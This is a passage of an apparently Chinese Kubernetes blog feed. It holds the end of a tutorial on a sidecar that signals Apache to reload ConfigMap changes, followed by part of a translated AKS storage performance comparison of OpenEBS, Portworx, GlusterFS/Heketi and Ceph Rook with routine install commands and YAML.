&lt;p&gt;这种方法当然也有个局限性，需要业务进程支持这种信号。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;下面以 Apache 为例，看看这种方式的用法。&lt;/p&gt;

&lt;h2 id=&#34;创建-configmap&#34;&gt;创建 Configmap&lt;/h2&gt;

&lt;p&gt;用一个简化的 &lt;code&gt;httpd.conf&lt;/code&gt; 文件，生成 Configmap，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;kubectl create cm apache --from-file httpd.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如此就生成了一个名为 apache 的 Configmap。&lt;/p&gt;

&lt;h2 id=&#34;创建-sidecar-容器镜像&#34;&gt;创建 Sidecar 容器镜像&lt;/h2&gt;

&lt;p&gt;这个镜像要完成的任务有两个：监控文件变化，如果内容变化，则发送信号给业务进程。文件内容变化的监控，可以用哈希码或者 inotify 调用来完成，这里使用 &lt;code&gt;inotifywait&lt;/code&gt; 命令做一个死循环，发现特定事件后，则发出信号：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
while :
do
  # 获取文件名称
  REAL=`readlink -f ${FILE}`
  # 监控指定事件
  inotifywait -e delete_self &amp;quot;${REAL}&amp;quot;
  # 获取特定进程名称的 PID
  PID=`pgrep ${PROCESS} | head -1`
  # 发送信号
  kill &amp;quot;-${SIGNAL}&amp;quot; &amp;quot;${PID}&amp;quot;
done
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;这里没有用监控本地文件的 &lt;code&gt;-m&lt;/code&gt; 或者 &lt;code&gt;-e modify&lt;/code&gt; 事件，而是用了 &lt;code&gt;delete_self&lt;/code&gt;，这是 Configmap 加载生成文件的差异，也可以考虑用环境变量来替换这一事件。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;然后构建镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-Dockerfile&#34;&gt;FROM alpine
RUN apk add --update inotify-tools
ENV FILE=&amp;quot;/tmp&amp;quot; PROCESS=&amp;quot;httpd&amp;quot; SIGNAL=&amp;quot;USR1&amp;quot;
COPY entry.sh /usr/local/bin
CMD [&amp;quot;/usr/local/bin/entry.sh&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里假设镜像名称为 &lt;code&gt;dustise/inotify:latest&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;创建实验负载&#34;&gt;创建实验负载&lt;/h2&gt;

&lt;p&gt;我们选择 Apache 作为业务应用的示范，它能够接受 &lt;code&gt;USR1&lt;/code&gt; 信号进行重新载入。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: apache
spec:
  selector:
    matchLabels:
      app: apache
  template:
    metadata:
      labels:
        app: apache
    spec:
      shareProcessNamespace: true
      containers:
      - name: apache
        image: httpd:alpine
        ports:
        - containerPort: 80
        volumeMounts:
          - name: apache
            mountPath: /usr/local/apache2/conf/
      - name: refresh
        image: dustise/inotify
        securityContext:
          capabilities:
            add:
            - SYS_PTRACE
        volumeMounts:
          - name: apache
            mountPath: /etc/httpd
        env:
          - name: FILE
            value: &amp;quot;/etc/httpd/httpd.conf&amp;quot;
          - name: PROCESS
            value: &amp;quot;httpd&amp;quot;
          - name: SIGNAL
            value: &amp;quot;USR1&amp;quot;
      volumes:
        - name: apache
          configMap:
            name: apache
---
apiVersion: v1
kind: Service
...
  type: ClusterIP
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这段代码：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;在 &lt;code&gt;template.spec&lt;/code&gt; 中加入了 &lt;code&gt;shareProcessNamespace: true&lt;/code&gt;，表示启用进行命名空间共享功能；&lt;/li&gt;
&lt;li&gt;新建了一个伴行的 Sidecar 容器；&lt;/li&gt;
&lt;li&gt;Apache 和 Sidecar 共享来自同一个 Configmap 的配置文件，根据加载情况为 Sidecar 定义了环境变量。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;测试一下&#34;&gt;测试一下&lt;/h2&gt;

&lt;p&gt;接下来可以使用 &lt;code&gt;kubectl logs&lt;/code&gt; 命令来监控两个容器的日志输出：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl logs -f apache-6b8b68c857-dp6xx -c refresh
Setting up watches.
Watches established.

$ kubectl logs -f apache-6b8b68c857-dp6xx -c apache
...
[Wed May 15 18:46:47.795261 2019] [mpm_event:notice] [pid 7:tid 139810635549544] AH00489: Apache/2.4.39 (Unix) configured -- resuming normal operations
[Wed May 15 18:46:47.795330 2019] [core:notice] [pid 7:tid 139810635549544] AH00094: Command line: &#39;httpd -D FOREGROUND&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后使用 &lt;code&gt;kubectl edit cm apache&lt;/code&gt;，修改配置文件（例如删除点注释）。稍候片刻，发现两个容器的输出都发生了变化：&lt;/p&gt;

&lt;h3 id=&#34;sidecar&#34;&gt;Sidecar&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;/etc/httpd/..2019_05_15_18_43_33.773288813/httpd.conf DELETE_SELF
Setting up watches.
Watches established.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;脚本检测到了配置文件发生了删除事件，发送信号，并重新启动监控。&lt;/p&gt;

&lt;h3 id=&#34;apache&#34;&gt;Apache&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;[Wed May 15 18:46:47.775392 2019] [mpm_event:notice] [pid 7:tid 139810635549544] AH00493: SIGUSR1 received.  Doing graceful restart
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Apache 收到了 USR1 信号，进行了优雅重启。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;对于支持信号控制的第软件，例如 Nginx、Gunicorn、HA-Proxy 等都可以使用这种方式来完成配置刷新工作。能够有效的避免重启或修改业务应用的老大难问题。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 4 序章及目录</title>
      <link>/post/kubernetes-4-summary/</link>
      <pubDate>Wed, 15 May 2019 14:04:03 +0800</pubDate>
      <guid>/post/kubernetes-4-summary/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;/files/kubernetes-4-summary.pdf&#34; target=&#34;_blank&#34;&gt;&lt;img src=&#34;images/k4-cover.jpeg&#34; alt=&#34;cover&#34; /&gt; PDF 下载&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 存储性能对比</title>
      <link>/post/kubernetes-storage-performance-comparison/</link>
      <pubDate>Mon, 13 May 2019 23:10:28 +0800</pubDate>
      <guid>/post/kubernetes-storage-performance-comparison/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://medium.com/vescloud/kubernetes-storage-performance-comparison-9e993cb27271&#34; target=&#34;_blank&#34;&gt;Kubernetes Storage Performance Comparison&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://medium.com/@pupapaik&#34; target=&#34;_blank&#34;&gt;Jakub Pavlík&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;如果你正在运行 Kubernetes，你可能正在使用，或者准备使用动态供给的块存储&lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/#types-of-volumes&#34; target=&#34;_blank&#34;&gt;卷&lt;/a&gt;，而首当其冲的问题就是为集群选择合适的存储技术。这个事情并不能用一个简单的测试来做出简单的回答，告诉你目前市面上最好的技术是什么。存储技术的选择过程中，集群上运行的负载类型是一个重要的输入。对于裸金属集群来说，需要根据实际用例进行选择，并集成到自己的硬件之中。公有云中的托管 K8s，例如 AKS、EKS 或者 GKE，都具有开箱可用的块存储能力，然而这也不见得就是最好的选择。有很多因素需要考虑，比如说公有云的 StorageClass 的故障转移时间太长。例如在 一个针对 AWS EBS 的故障测试中，加载了卷的 Pod 用了&lt;a href=&#34;https://blog.rook.io/run-your-own-high-performance-ebs-wherever-kubernetes-runs-798a136bd808&#34; target=&#34;_blank&#34;&gt;超过五分钟&lt;/a&gt;才成功的在另一个节点上启动。Portworx 或者 OpenEBS 这样的云原生存储产品，正在尝试解决这类问题。&lt;/p&gt;

&lt;p&gt;本文的目标是使用最常见的 Kubernetes 存储方案，进行基本的性能对比。我觉得在 Azure AKS 上使用下列后端：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AKS 原生 Storageclass：Azure native premium
&lt;!-- - AKS 存储 --&gt;&lt;/li&gt;
&lt;li&gt;使用 cStor 后端的 OpenEBS&lt;/li&gt;
&lt;li&gt;Portworx&lt;/li&gt;
&lt;li&gt;Heketi 管理的 Gluster&lt;/li&gt;
&lt;li&gt;Rook 管理的 Ceph&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;现在我们来介绍每种存储后端，并交代一下安装过程，然后进入 AKS 测试环境进行测试，最后得出结果。&lt;/p&gt;

&lt;h2 id=&#34;存储&#34;&gt;存储&lt;/h2&gt;

&lt;p&gt;这一节中介绍测试中用到的存储方案，包含安装过程以及该方案的优缺点。&lt;/p&gt;

&lt;h3 id=&#34;azure-原生-storageclass&#34;&gt;Azure 原生 StorageClass&lt;/h3&gt;

&lt;p&gt;我选择这一方案的动机是以此作为所有测试的基线。这个方案&lt;strong&gt;应该&lt;/strong&gt;提供最佳性能。Azure 动态的创建托管磁盘，并把它们映射到 K8s 的虚拟机中，最终成为 Pod 的存储卷。&lt;/p&gt;

&lt;p&gt;这个方案很方便，什么多余的步骤都不需要。创建一个新的 AKS 集群之后，就自动提供了两个预定义的 StorageClass，分别是 &lt;code&gt;default&lt;/code&gt; 和 &lt;code&gt;managed-premium&lt;/code&gt;，premium 使用的是基于 SSD 的高性能低延迟磁盘。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get storageclasses
NAME                PROVISIONER                AGE
default (default)   kubernetes.io/azure-disk   8m
managed-premium     kubernetes.io/azure-disk   8m

$ kubectl get pvc
NAME              STATUS    VOLUME                                     CAPACITY   ACCESS MODES   STORAGECLASS      AGE
dbench-pv-claim   Bound     pvc-e7bd34a4-1dbd-11e9-8726-ae508476e8ad   1000Gi     RWO            managed-premium   10s

$ kubectl get po
NAME           READY     STATUS              RESTARTS   AGE
dbench-w7nqf   0/1       ContainerCreating   0          29s
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;优点&#34;&gt;优点&lt;/h4&gt;

&lt;p&gt;AKS 开箱即用。&lt;/p&gt;

&lt;h4 id=&#34;缺点&#34;&gt;缺点&lt;/h4&gt;

&lt;p&gt;故障转移非常缓慢，有时需要十分钟以后，存储卷才能重新挂载到不同节点上的 Pod 里。&lt;/p&gt;

&lt;h3 id=&#34;openebs&#34;&gt;OpenEBS&lt;/h3&gt;

&lt;p&gt;对我来说 OpenEBS 是个全新事物，因此我很有兴趣做他的测试。他提出了一个新的 &lt;a href=&#34;https://docs.openebs.io/docs/next/conceptscas.html#advantages-of-cas&#34; target=&#34;_blank&#34;&gt;Container Attached Storage（容器挂载存储）&lt;/a&gt;概念，这是一个基于微服务的存储控制器，以及多个基于微服务的存储副本。他和 Portworx 同样，属于云原生存储分类的成员。&lt;/p&gt;

&lt;p&gt;它是一个完全开源的方案，目前提供两种后端——Jiva 和 cStor。我最开始选择的是 Jiva，后来切换到 cStor。cStor 有很多长处，例如他的控制器和副本被部署到单一的 OpenEBS 所在的命名空间之中，能够管理原始磁盘等。每个 K8s 卷都有自己的存储控制器，能在节点存储容量的许可范围内对存储进行扩展。&lt;/p&gt;

&lt;h4 id=&#34;在-aks-上运行&#34;&gt;在 AKS 上运行&lt;/h4&gt;

&lt;p&gt;在 AKS 上的安装非常容易。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;连接到所有 K8s 节点上，安装 iSCSI，这是因为他需要使用 iSCSI 协议在 K8s 节点之间进行 Pod 和控制器的连接。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;apt-get update
apt install -y open-iscsi
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;使用一个 YAML 定义在 K8s 集群上完成部署：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;kubectl apply -f https://openebs.github.io/charts/openebs-operator-0.8.0.yaml
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;下一步，OpenEBS 控制器发现了节点中的所有磁盘。但是我必须手工标识出我附加的 AWS 托管磁盘。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get disk
NAME                                      AGE
disk-184d99015253054c48c4aa3f17d137b1     5m
disk-2f6bced7ba9b2be230ca5138fd0b07f1     5m
disk-806d3e77dd2e38f188fdaf9c46020bdc     5m
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;然后把这些磁盘加入 StoragePoolClaim，这个对象会在 StorageClass 中进行引用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: openebs-custom
  annotations:
    openebs.io/cas-type: cstor
    cas.openebs.io/config: |
      - name: StoragePoolClaim
        value: &amp;quot;cstor-disk&amp;quot;
provisioner: openebs.io/provisioner-iscsi
---
apiVersion: openebs.io/v1alpha1
kind: StoragePoolClaim
metadata:
  name: cstor-disk
spec:
  name: cstor-disk
  type: disk
  maxPools: 3
  poolSpec:
    poolType: striped
  disks:
    diskList:
    - disk-2f6bced7ba9b2be230ca5138fd0b07f1
    - disk-806d3e77dd2e38f188fdaf9c46020bdc
    - disk-184d99015253054c48c4aa3f17d137b1
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;完成这些步骤之后，就可以用 K8s 的 PVC 来动态的创建存储卷了。&lt;/p&gt;

&lt;h4 id=&#34;优点-1&#34;&gt;优点&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;开源&lt;/li&gt;
&lt;li&gt;Maya 在资源使用的可视化方面做得非常好。可以在 K8s 中部署多个服务，方便的为集群的各方面数据设置监控和日志。对于排错工作来说，这十分重要。&lt;/li&gt;
&lt;li&gt;CAS 概念：我非常欣赏这一概念，我相信这是未来的趋势。&lt;/li&gt;
&lt;li&gt;OpenEBS 社区：在社区中我的任何问题都能在几分钟内得到解决。Slack 上的团队非常有帮助。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;缺点-1&#34;&gt;缺点&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;不成熟：OpenEBS 还很年轻，目前还没有发布稳定版。核心团队还在进行后端的优化，未来几个月里会对性能做出很大提升。&lt;/li&gt;
&lt;li&gt;Kubelet 和存储控制器之间的 iSCSI 连接是通过 K8s Service 进行的，这在 Tungsten Fabric 之类的 CNI 插件环境中可能会出问题。&lt;/li&gt;
&lt;li&gt;需要在 K8s 节点上安装额外的软件（iSCSI），这对于托管集群来说非常不便。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;注：OpenEBS 团队对我的案例场景进行了调整：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/kmova/openebs/tree/fio-perf-tests/k8s/demo/dbench&#34; target=&#34;_blank&#34;&gt;https://github.com/kmova/openebs/tree/fio-perf-tests/k8s/demo/dbench&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;portworx&#34;&gt;Portworx&lt;/h3&gt;

&lt;p&gt;Portworx 是另一个面向 Kubernetes 的容器原生存储方案，它专注于高度分布式的环境。这是一个主机可寻址的存储，每个卷都直接映射到挂在的主机上。他提供了基于应用 I/O 类型的自动微调能力。&lt;a href=&#34;https://portworx.com/makes-portworx-unique/&#34; target=&#34;_blank&#34;&gt;官方网站&lt;/a&gt;提供了更多信息。不幸的是，它也是本文中唯一的非开源产品。然而它提供了 3 节点的免费试用。&lt;/p&gt;

&lt;h4 id=&#34;在-aks-上运行-1&#34;&gt;在 AKS 上运行&lt;/h4&gt;

&lt;p&gt;在 AKS 上的安装同样简单，我用了他们&lt;a href=&#34;https://docs.portworx.com/portworx-install-with-kubernetes/cloud/azure/aks/2-deploy-px/#generate-the-specs&#34; target=&#34;_blank&#34;&gt;网站&lt;/a&gt;提供的生成器。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;选择基于 Portworx 的 ETCD，指定 K8s 版本为 1.11.4。&lt;/li&gt;
&lt;li&gt;因为我用了 Azure CNI，因此必须把数据网卡设置为 &lt;code&gt;azure0&lt;/code&gt;。否则 Portworx 会使用 docker bridge 的 IP 地址，而非 VM 网卡。&lt;/li&gt;
&lt;li&gt;最后网站会生成渲染完成的 YAML 文件。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;提交后，会看到节点上运行的 Portworx Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get pods -o wide -n kube-system -l name=portworx
NAME             READY     STATUS    RESTARTS   AGE       IP          NODE                       NOMINATED NODE
portworx-g9csq   1/1       Running   0          14m       10.0.1.66   aks-agentpool-20273348-2   &amp;lt;none&amp;gt;
portworx-nt2lq   1/1       Running   0          14m       10.0.1.4    aks-agentpool-20273348-0   &amp;lt;none&amp;gt;
portworx-wcjnx   1/1       Running   0          14m       10.0.1.35   aks-agentpool-20273348-1   &amp;lt;none&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;为 PVC 创建一个 StorageClass，定义高优先级，以及三个副本：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;root@aks-agentpool-20273348-0:~# kubectl get storageclass -o yaml portworx-sc
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  creationTimestamp: 2019-01-28T21:10:28Z
  name: portworx-sc
  resourceVersion: &amp;quot;55332&amp;quot;
  selfLink: /apis/storage.k8s.io/v1/storageclasses/portworx-sc
  uid: 23455e40-2341-11e9-bfcb-a23b1ec87092
parameters:
  priority_io: high
  repl: &amp;quot;3&amp;quot;
provisioner: kubernetes.io/portworx-volume
reclaimPolicy: Delete
volumeBindingMode: Immediate
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;优点-2&#34;&gt;优点&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;部署方便：生成器包含配置细节。&lt;/li&gt;
&lt;li&gt;不像 Ceph 和 Glusterfs 那样需要进行额外配置。&lt;/li&gt;
&lt;li&gt;云原生存储：公有云和裸金属都可以运行。&lt;/li&gt;
&lt;li&gt;存储级别感知和应用感知的 I/O 微调。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;缺点-2&#34;&gt;缺点&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;闭源：商业解决方案&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;glusterfs-heketi&#34;&gt;GlusterFS Heketi&lt;/h3&gt;

&lt;p&gt;GlusterFS 是知名的开源存储方案，是由 Redhat 提供的开源存储方案。&lt;a href=&#34;https://github.com/gluster/gluster-kubernetes#glusterfs-native-storage-service-for-kubernetes&#34; target=&#34;_blank&#34;&gt;Heketi&lt;/a&gt; 是 GlusterFS 的 RESTful 卷管理界面。它提供了易用的方式为 GlusterFS 卷提供了动态供给的功能。如果没有 Heketi 的辅助，就只能手工创建 GlusterFS 卷并映射到 K8s PV 了。关于 GlusterFS 的更多信息，请阅读&lt;a href=&#34;https://docs.gluster.org/en/latest/Install-Guide/Overview/&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;。&lt;/p&gt;

&lt;h4 id=&#34;在-aks-上运行-2&#34;&gt;在 AKS 上运行&lt;/h4&gt;

&lt;p&gt;根据 Heketi 的&lt;a href=&#34;https://github.com/gluster/gluster-kubernetes/blob/master/docs/setup-guide.md#deployment&#34; target=&#34;_blank&#34;&gt;快速入门&lt;/a&gt;文档进行部署。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;参照&lt;a href=&#34;https://github.com/gluster/gluster-kubernetes/blob/master/deploy/topology.json.sample&#34; target=&#34;_blank&#34;&gt;样例&lt;/a&gt;，创建一个包含磁盘和主机名的拓扑文件。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Heketi 主要的开发和测试都在基于 RHEL 的操作系统上，我在 AKS 上使用 Ubuntu 主机时，出现了内核模块路径错误的问题，我提交了一个 &lt;a href=&#34;https://github.com/gluster/gluster-kubernetes/pull/557&#34; target=&#34;_blank&#34;&gt;PR&lt;/a&gt; 来修正这个问题。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;+++ b/deploy/kube-templates/glusterfs-daemonset.yaml
@@ -67,7 +67,7 @@ spec:
           mountPath: &amp;quot;/etc/ssl&amp;quot;
           readOnly: true
         - name: kernel-modules
-          mountPath: &amp;quot;/usr/lib/modules&amp;quot;
+          mountPath: &amp;quot;/lib/modules&amp;quot;
           readOnly: true
         securityContext:
           capabilities: {}
@@ -131,4 +131,4 @@ spec:
           path: &amp;quot;/etc/ssl&amp;quot;
       - name: kernel-modules
         hostPath:
-          path: &amp;quot;/usr/lib/modules&amp;quot;
+          path: &amp;quot;/lib/modules&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;我在 AKS 环境中遇到的另一个问题是一个非空磁盘，所以我用 &lt;code&gt;wipefs&lt;/code&gt; 为 glusterfs 进行清理。这个磁盘并未用过。&lt;/p&gt;

&lt;p&gt;$ wipefs -a /dev/sdc
/dev/sdc: 8 bytes were erased at offset 0x00000218 (LVM2_member): 4c 56 4d 32 20 30 30 31&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;最后运行 &lt;code&gt;gk-deploy -g -t topology.json&lt;/code&gt;，会在每个节点上运行 Heketi 控制器管理之下的 GlusterFS Pod。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get po -o wide
NAME                     READY   STATUS    RESTARTS IP        NODE                       NOMINATED NODE
glusterfs-fgc8f          1/1     Running   0       10.0.1.35  aks-agentpool-20273348-1
glusterfs-g8ht6          1/1     Running   0       10.0.1.4   aks-agentpool-20273348-0
glusterfs-wpzzp          1/1     Running   0       10.0.1.66  aks-agentpool-20273348-2
heketi-86f98754c-n8qfb   1/1     Running   0       10.0.1.69  aks-agentpool-20273348-2
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;然后我遇到了新问题。K8s 控制面无法使用 Heketi 的 &lt;code&gt;restURL&lt;/code&gt;。我测试了一下 kube dns 的记录，pod IP 和 svc IP 都没有生效。最后只能手工使用 Heketi CLI 来创建存储卷。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ export HEKETI_CLI_SERVER=http://10.0.1.69:8080
$ heketi-cli volume create --size=10 --persistent-volume --persistent-volume-endpoint=heketi-storage-endpoints | kubectl create -f -
persistentvolume/glusterfs-efb3b155 created

$ kubectl get pv
NAME                 CAPACITY   ACCESS MODES   RECLAIM POLICY   STATUS      CLAIM     STORAGECLASS   REASON    AGE
glusterfs-efb3b155   10Gi       RWX            Retain           Available
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后把现存 PV 映射为 PVC，加载给测试工具进行测试。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: glusterfs-efb3b155
spec:
  accessModes:
    - ReadWriteMany
  storageClassName: &amp;quot;&amp;quot;
  resources:
    requests:
      storage: 10Gi
  volumeName: glusterfs-efb3b155
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get pvc
NAME                 STATUS    VOLUME               CAPACITY   ACCESS MODES   STORAGECLASS   AGE
glusterfs-efb3b155   Bound     glusterfs-efb3b155   10Gi       RWX                           36m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Heketi 的更多输出：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ gluster volume info vol_efb3b15529aa9aba889d7900f0ce9849

Volume Name: vol_efb3b15529aa9aba889d7900f0ce9849
Type: Replicate
Volume ID: 96fde36b-e389-4dbe-887b-baae32789436
Status: Started
Snapshot Count: 0
Number of Bricks: 1 x 3 = 3
Transport-type: tcp
Bricks:
Brick1: 10.0.1.66:/var/lib/heketi/mounts/vg_5413895eade683e1ca035760c1e0ffd0/brick_cd7c419bc4f4ff38bbc100c6d7b93605/brick
Brick2: 10.0.1.35:/var/lib/heketi/mounts/vg_3277c6764dbce56b5a01426088901f6d/brick_6cbd74e9bed4758110c67cfe4d4edb53/brick
Brick3: 10.0.1.4:/var/lib/heketi/mounts/vg_29d6152eeafc57a707bef56f091afe44/brick_4856d63b721d794e7a4cbb4a6f048d96/brick
Options Reconfigured:
transport.address-family: inet
nfs.disable: on
performance.client-io-threads: off

$ kubectl get svc
NAME                       TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)    AGE
heketi                     ClusterIP   192.168.101.75   &amp;lt;none&amp;gt;        8080/TCP   5h
heketi-storage-endpoints   ClusterIP   192.168.103.66   &amp;lt;none&amp;gt;        1/TCP      5h

$ kubectl get endpoints
NAME                       ENDPOINTS                            AGE
heketi                     10.0.1.69:8080                       5h
heketi-storage-endpoints   10.0.1.35:1,10.0.1.4:1,10.0.1.66:1   5h
kubernetes                 172.31.22.152:443                    1d
root@aks-agentpool-20273348-0:~# kubectl get endpoints heketi-storage-endpoints -o yaml
apiVersion: v1
kind: Endpoints
metadata:
  creationTimestamp: 2019-01-29T15:14:28Z
  name: heketi-storage-endpoints
  namespace: default
  resourceVersion: &amp;quot;142212&amp;quot;
  selfLink: /api/v1/namespaces/default/endpoints/heketi-storage-endpoints
  uid: 91f802eb-23d8-11e9-bfcb-a23b1ec87092
subsets:
- addresses:
  - ip: 10.0.1.35
  - ip: 10.0.1.4
  - ip: 10.0.1.66
  ports:
  - port: 1
    protocol: TCP
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;优点-3&#34;&gt;优点&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;久经考验的存储方案。&lt;/li&gt;
&lt;li&gt;比 Ceph 轻量。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;缺点-3&#34;&gt;缺点&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Heketi 在公有云上表现不佳。在私有云上表现良好，安装会方便一些。&lt;/li&gt;
&lt;li&gt;并非为结构化数据设计，例如 SQL 数据库。然而可以使用 GlusterFS 为数据库提供备份和恢复支持。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;ceph-rook&#34;&gt;Ceph Rook&lt;/h3&gt;

&lt;p&gt;我在 OpenStack 私有云上尝试过安装和运行 Ceph。它需要为特定硬件定制参数，根据数据类型设计 pg 组、SSD 分区和 CRUSH 图等。所以第一次听说在 3 节点的 K8s 集群上运行 Ceph 的时候，我不太相信它能工作。结果 Rook 的编排工具让我印象深刻，它把所有的步骤和 K8s 的编排能力结合在一起，让安装变得非常简便。&lt;/p&gt;

&lt;h4 id=&#34;在-aks-上运行-3&#34;&gt;在 AKS 上运行&lt;/h4&gt;

&lt;p&gt;Rook 的缺省安装无需任何特定步骤，如果没什么高级配置，会非常简单。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;我使用的是 &lt;a href=&#34;https://github.com/rook/rook/blob/master/Documentation/ceph-quickstart.md#ceph-storage-quickstart&#34; target=&#34;_blank&#34;&gt;Ceph 快速入门指南&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;为 AKS 配置 &lt;code&gt;FLEXVOLUME_DIR_PATH&lt;/code&gt;，这是因为它需要 &lt;code&gt;/etc/kubernetes/volumeplugins/&lt;/code&gt;，而不是 Ubuntu 中缺省的 &lt;code&gt;/usr/libexec&lt;/code&gt;，没有这个步骤，Kubelet 就&lt;a href=&#34;https://github.com/rook/rook/issues/1790#issuecomment-402574647&#34; target=&#34;_blank&#34;&gt;无法加载 PVC&lt;/a&gt; 了。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;diff --git a/cluster/examples/kubernetes/ceph/operator.yaml b/cluster/examples/kubernetes/ceph/operator.yaml
index 73cde2e..33f45c8 100755
--- a/cluster/examples/kubernetes/ceph/operator.yaml
+++ b/cluster/examples/kubernetes/ceph/operator.yaml
@@ -431,8 +431,8 @@ spec:
         # - name: AGENT_MOUNT_SECURITY_MODE
         #   value: &amp;quot;Any&amp;quot;
         # Set the path where the Rook agent can find the flex volumes
-        # - name: FLEXVOLUME_DIR_PATH
-        #  value: &amp;quot;&amp;lt;PathToFlexVolumes&amp;gt;&amp;quot;
+        - name: FLEXVOLUME_DIR_PATH
+          value: &amp;quot;/etc/kubernetes/volumeplugins&amp;quot;
         # Set the path where kernel modules can be found
         # - name: LIB_MODULES_DIR_PATH
         #  value: &amp;quot;&amp;lt;PathToLibModules&amp;gt;&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

